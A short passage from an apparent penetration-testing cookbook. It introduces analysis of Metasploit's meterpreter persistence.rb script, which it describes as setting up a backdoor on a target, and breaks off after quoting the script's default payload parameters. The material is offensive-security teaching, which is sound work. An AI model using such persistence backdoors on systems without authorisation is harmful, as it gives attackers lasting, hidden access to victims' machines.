Analyzing an existing meterpreter script
Now that we have learned how to build our own script, let us move ahead and analyze an existing script that performs some advanced tasks. Once you are able to read an existing script completely, you can implement the functions from them according to your need. Code re-use is an effective technique to increase the optimization of codes.
How to do it...
To view an existing script, browse to pentest/exploits/framework3/scripts/meterpreter
.
You can find all the available meterpreter scripts in this folder. We will be analyzing the persistence.rb
script which helps in setting up a backdoor on the target user. We have discussed the usage of this script in the previous chapter. Here we will look under the hood of how this script functions.
How it works...
Let us analyze each section of the code one by one.
# Default parameters for payload rhost = Rex::Socket.source_address("1.2.3.4") rport = 4444 delay = 5 install = false autoconn = false serv = false altexe...